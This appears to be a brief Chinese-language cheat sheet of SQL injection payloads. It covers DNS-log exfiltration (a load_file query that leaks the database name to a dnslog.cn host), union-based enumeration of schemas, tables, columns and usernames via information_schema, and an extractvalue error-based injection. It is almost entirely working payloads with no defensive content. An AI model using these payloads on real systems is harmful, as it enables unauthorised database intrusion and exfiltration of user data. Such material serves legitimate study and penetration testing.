DNS注入

DNS在解析的时候会留下日志,即高级域名的解析日志

我们可以把想要获取的信息放在 {信息}.一级域名 (例如,password.baidu.com)

这样我们在dns_log里就可以获取到password这个信息

在数据库中执行下面这条语句,即可将数据库名发送到dns解析服务器

select load_file(concat('//', (select database()), '.3bfts.dnslog.cn/1.txt'));

联合sql注入

若代码sql语句为select * from user by ${user_id}

查询数据库名

and 1=2 union select 1,schema_name from information_schema.schemata limit 0,1

查询表名

and 1=2 union select 1,table_name from information_schema.tables where table_schema = database() limit 0,1

查询字段名

and 1=2 union select 1,column_name from information_schema.columns where table_schema = database() and table_name = 'user' limit 0,1

查询字段内容

and 1=2 union select 1,username from user

报错注入

select extractvalue(1,concat(0x7e,(select database()))) 
# 0x7e就是 ~ 字符

hhhhh